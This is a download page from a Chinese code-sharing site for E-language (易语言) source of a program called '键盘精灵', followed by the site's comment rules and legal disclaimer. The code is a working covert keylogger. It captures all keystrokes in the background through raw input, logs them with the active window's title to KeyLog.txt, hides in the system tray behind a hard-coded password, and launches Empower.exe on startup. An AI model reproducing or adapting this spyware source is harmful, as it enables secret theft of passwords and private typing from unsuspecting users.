实例介绍
【实例简介】键盘精灵.e
版本 2
.支持库 eAPI
.程序集 程序集_Monitor
.程序集变量 mHandle, 整数型
.程序集变量 lpPrevWndFunc, 整数型
.程序集变量 hFile, 整数型, , , ' 本源码来自三叶资源网(www.sanye.cx)
.程序集变量 TP, 类_托盘
.子程序 _启动子程序, 整数型, , 本子程序在程序启动后最先执行
运行 (取运行目录 () + “\Empower.exe”, 假, )
Initialization ()
返回 (0) ' 可以根据您的需要返回任意数值
.子程序 托盘事件
.参数 操作, 整数型
.如果真 (操作 = 517 且 Monitor.可视 = 假)
.如果真 (弹出密码框 () = “750922”)
Monitor.可视 = 真
.如果真结束
.如果真结束
.子程序 _Monitor_将被销毁
文件_关闭 (hFile)
.子程序 _退出钮_被单击
销毁 ()
.子程序 _隐藏钮_被单击
Monitor.可视 = 假
.子程序 _查看钮_被单击
运行 (“notepad.exe ” + 目录_取特定目录 (8) + “KeyLog.txt”, 假, )
.子程序 _删除钮_被单击
.局部变量 AD, 文本型
.如果真 (弹出密码框 () = “750922”)
hFile = 打开文件 (目录_取特定目录 (8) + “KeyLog.txt”, #重写, #禁止写)
.如果真结束
.子程序 SaveVKey
.参数 usVKey, 整数型, , 键代码
.局部变量 hWnd, 整数型
.局部变量 szTitle, 文本型
.局部变量 outStr, 文本型
szTitle = 取空白文本 (#MAX_PATH)
hWnd = GetForegroundWindow ()
GetWindowTextA (hWnd, szTitle, #MAX_PATH)
outStr = 格式化文本 (“[%s] Name:%s Value:%d ” + 时间_到文本 (, 1) + #换行符, szTitle, GetKeyName (usVKey), usVKey)
编辑框1.加入文本 (outStr)
写出文本 (hFile, outStr)
.子程序 Init, 逻辑型
.参数 hWnd, 整数型
.局部变量 rawinputDevice, RAWINPUTDEVICE
rawinputDevice.usUsagePage = 1
rawinputDevice.usUsage = 6
rawinputDevice.dwFlags = #RIDEV_INPUTSINK
rawinputDevice.hwndTarget = hWnd
返回 (RegisterRawInputDevices (rawinputDevice, 1, #sizeof_RAWINPUTDEVICE))
.子程序 GetData
.参数 lParam, 整数型
.局部变量 rawinputData, RAWINPUT
.局部变量 uiSize, 整数型
uiSize = #sizeof_RAWINPUT
GetRawInputData (lParam, #RID_INPUT, rawinputData, uiSize, 16)
.如果真 (rawinputData.header.dwType = #RIM_TYPEKEYBOARD)
.如果真 (rawinputData.keyboard.Message = #WM_KEYDOWN 或 rawinputData.keyboard.Message = #WM_SYSKEYDOWN)
SaveVKey (rawinputData.keyboard.VKey)
.如果真结束
.如果真结束
.子程序 Initialization
.局部变量 handle, 整数型
handle = Api_OpenMutex (2031617, 真, “Frank”)
.如果 (handle > 0)
.否则
mHandle = Api_CreateMutexA (0, 假, “Frank”)
载入 (Monitor, , 假)
.如果结束
.子程序 GetKeyName, 文本型, , 来自精易模块,我懒得手写了!!
.参数 键代码, 整数型, , 键代码,如填:65,将返回 A键
.局部变量 文本, 文本型
.判断开始 (键代码 = #Ctrl键)
文本 = “Ctrl”
.判断 (键代码 = #Shift键)
文本 = “Shift”
.判断 (键代码 = #Alt键)
文本 = “Alt”
.判断 (键代码 = #键0 或 键代码 = 96)
文本 = “0”
.判断 (键代码 = #键1 或 键代码 = 97)
文本 = “1”
.判断 (键代码 = #键2 或 键代码 = 98)
文本 = “2”
.判断 (键代码 = #键3 或 键代码 = 99)
文本 = “3”
.判断 (键代码 = #键4 或 键代码 = 100)
文本 = “4”
.判断 (键代码 = #键5 或 键代码 = 101)
文本 = “5”
.判断 (键代码 = #键6 或 键代码 = 102)
文本 = “6”
.判断 (键代码 = #键7 或 键代码 = 103)
文本 = “7”
.判断 (键代码 = #键8 或 键代码 = 104)
文本 = “8”
.判断 (键代码 = #键9 或 键代码 = 105)
文本 = “9”
.判断 (键代码 = #A键)
文本 = “A”
.判断 (键代码 = #B键)
文本 = “B”
.判断 (键代码 = #C键)
文本 = “C”
.判断 (键代码 = #D键)
文本 = “D”
.判断 (键代码 = #E键)
文本 = “E”
.判断 (键代码 = #F键)
文本 = “F”
.判断 (键代码 = #G键)
文本 = “G”
.判断 (键代码 = #H键)
文本 = “H”
.判断 (键代码 = #I键)
文本 = “I”
.判断 (键代码 = #J键)
文本 = “J”
.判断 (键代码 = #K键)
文本 = “K”
.判断 (键代码 = #L键)
文本 = “L”
.判断 (键代码 = #M键)
文本 = “M”
.判断 (键代码 = #N键)
文本 = “N”
.判断 (键代码 = #O键)
文本 = “O”
.判断 (键代码 = #P键)
文本 = “P”
.判断 (键代码 = #Q键)
文本 = “Q”
.判断 (键代码 = #R键)
文本 = “R”
.判断 (键代码 = #S键)
文本 = “S”
.判断 (键代码 = #T键)
文本 = “T”
.判断 (键代码 = #U键)
文本 = “U”
.判断 (键代码 = #V键)
文本 = “V”
.判断 (键代码 = #W键)
文本 = “W”
.判断 (键代码 = #X键)
文本 = “X”
.判断 (键代码 = #Y键)
文本 = “Y”
.判断 (键代码 = #Z键)
文本 = “Z”
.判断 (键代码 = #F1键)
文本 = “F1”
.判断 (键代码 = #F2键)
文本 = “F2”
.判断 (键代码 = #F3键)
文本 = “F3”
.判断 (键代码 = #F4键)
文本 = “F4”
.判断 (键代码 = #F5键)
文本 = “F5”
.判断 (键代码 = #F6键)
文本 = “F6”
.判断 (键代码 = #F7键)
文本 = “F7”
.判断 (键代码 = #F8键)
文本 = “F8”
.判断 (键代码 = #F9键)
文本 = “F9”
.判断 (键代码 = #F10键)
文本 = “F10”
.判断 (键代码 = #F11键)
文本 = “F11”
.判断 (键代码 = #F12键)
文本 = “F12”
.判断 (键代码 = #F13键)
文本 = “F13”
.判断 (键代码 = #F14键)
文本 = “F14”
.判断 (键代码 = #F15键)
文本 = “F15”
.判断 (键代码 = #F16键)
文本 = “F16”
.判断 (键代码 = #Break键)
文本 = “Break”
.判断 (键代码 = #回车键)
文本 = “回车”
.判断 (键代码 = #Pause键)
文本 = “Pause”
.判断 (键代码 = #CapsLock键)
文本 = “Caps Lock”
.判断 (键代码 = #NumLock键)
文本 = “NumLock”
.判断 (键代码 = #ScrollLock键)
文本 = “ScrollLock”
.判断 (键代码 = #Esc键)
文本 = “Esc”
.判断 (键代码 = #空格键)
文本 = “空格”
.判断 (键代码 = #PageUp键)
文本 = “PageUp”
.判断 (键代码 = #PageDown键)
文本 = “PageDown”
.判断 (键代码 = #Home键)
文本 = “Home”
.判断 (键代码 = #End键)
文本 = “End”
.判断 (键代码 = #左光标键)
文本 = “左光标”
.判断 (键代码 = #上光标键)
文本 = “上光标”
.判断 (键代码 = #右光标键)
文本 = “右光标”
.判断 (键代码 = #下光标键)
文本 = “下光标”
.判断 (键代码 = #Ins键)
文本 = “Ins”
.判断 (键代码 = #Del键)
文本 = “Del”
.判断 (键代码 = #分号键)
文本 = “分号”
.判断 (键代码 = #等号键)
文本 = “等号”
.判断 (键代码 = #逗号键)
文本 = “逗号”
.判断 (键代码 = #减号键)
文本 = “减号”
.判断 (键代码 = #圆点键)
文本 = “圆点”
.判断 (键代码 = #除号键)
文本 = “除号”
.判断 (键代码 = #反撇号键)
文本 = “反撇号”
.判断 (键代码 = #左中括号键)
文本 = “左中括号”
.判断 (键代码 = #右中括号键)
文本 = “右中括号”
.判断 (键代码 = #斜杠键)
文本 = “斜杠”
.判断 (键代码 = #单引号键)
文本 = “单引号”
.判断 (键代码 = 106)
文本 = “乘号”
.判断 (键代码 = 107)
文本 = “加号”
.判断 (键代码 = #退格键)
文本 = “退格”
.判断 (键代码 = 91)
文本 = “Win”
.默认
.判断结束
返回 (文本)
.子程序 func_Message, 整数型
.参数 hWnd, 整数型
.参数 Msg, 整数型
.参数 wParam, 整数型
.参数 lParam, 整数型
.如果真 (Msg = #WM_INPUT)
GetData (lParam)
.如果真结束
返回 (CallWindowProcA (lpPrevWndFunc, hWnd, Msg, wParam, lParam))
.子程序 _Monitor_创建完毕
.局部变量 hWnd, 整数型
.局部变量 FILE, 文本型
.局部变量 window, 文本型, , "0"
.局部变量 i, 整数型
hWnd = Monitor.取窗口句柄 ()
.如果真 (Init (hWnd) = 假)
返回 ()
.如果真结束
hFile = 打开文件 (目录_取特定目录 (8) + “KeyLog.txt”, #改写, #禁止写)
.如果真 (hFile = 0)
返回 ()
.如果真结束
lpPrevWndFunc = SetWindowLongA (hWnd, #GWL_WNDPROC, &func_Message)
TP.创建 (取窗口句柄 (), #TP)
TP.挂接事件 (&托盘事件)
【实例截图】
..
└── 好例子网_键盘精灵.e
0 directories, 1 file
标签: 键盘
小贴士
感谢您为本站写下的评论,您的评论对其它用户来说具有重要的参考价值,所以请认真填写。
- 类似“顶”、“沙发”之类没有营养的文字,对勤劳贡献的楼主来说是令人沮丧的反馈信息。
- 相信您也不想看到一排文字/表情墙,所以请不要反馈意义不大的重复字符,也请尽量不要纯表情的回复。
- 提问之前请再仔细看一遍楼主的说明,或许是您遗漏了。
- 请勿到处挖坑绊人、招贴广告。既占空间让人厌烦,又没人会搭理,于人于己都无利。
关于好例子网
本站旨在为广大IT学习爱好者提供一个非营利性互相学习交流分享平台。本站所有资源都可以被免费获取学习研究。本站资源来自网友分享,对搜索内容的合法性不具有预见性、识别性、控制性,仅供学习研究,请务必在下载后24小时内给予删除,不得用于其他任何用途,否则后果自负。基于互联网的特殊性,平台无法对用户传输的作品、信息、内容的权属或合法性、安全性、合规性、真实性、科学性、完整权、有效性等进行实质审查;无论平台是否已进行审查,用户均应自行承担因其传输的作品、信息、内容而可能或已经产生的侵权或权属纠纷等法律责任。本站所有资源不代表本站的观点或立场,基于网友分享,根据中国法律《信息网络传播权保护条例》第二十二与二十三条之规定,若资源存在侵权或相关问题请联系本站客服人员,点此联系我们。关于更多版权及免责申明参见 版权及免责申明
网友评论
我要评论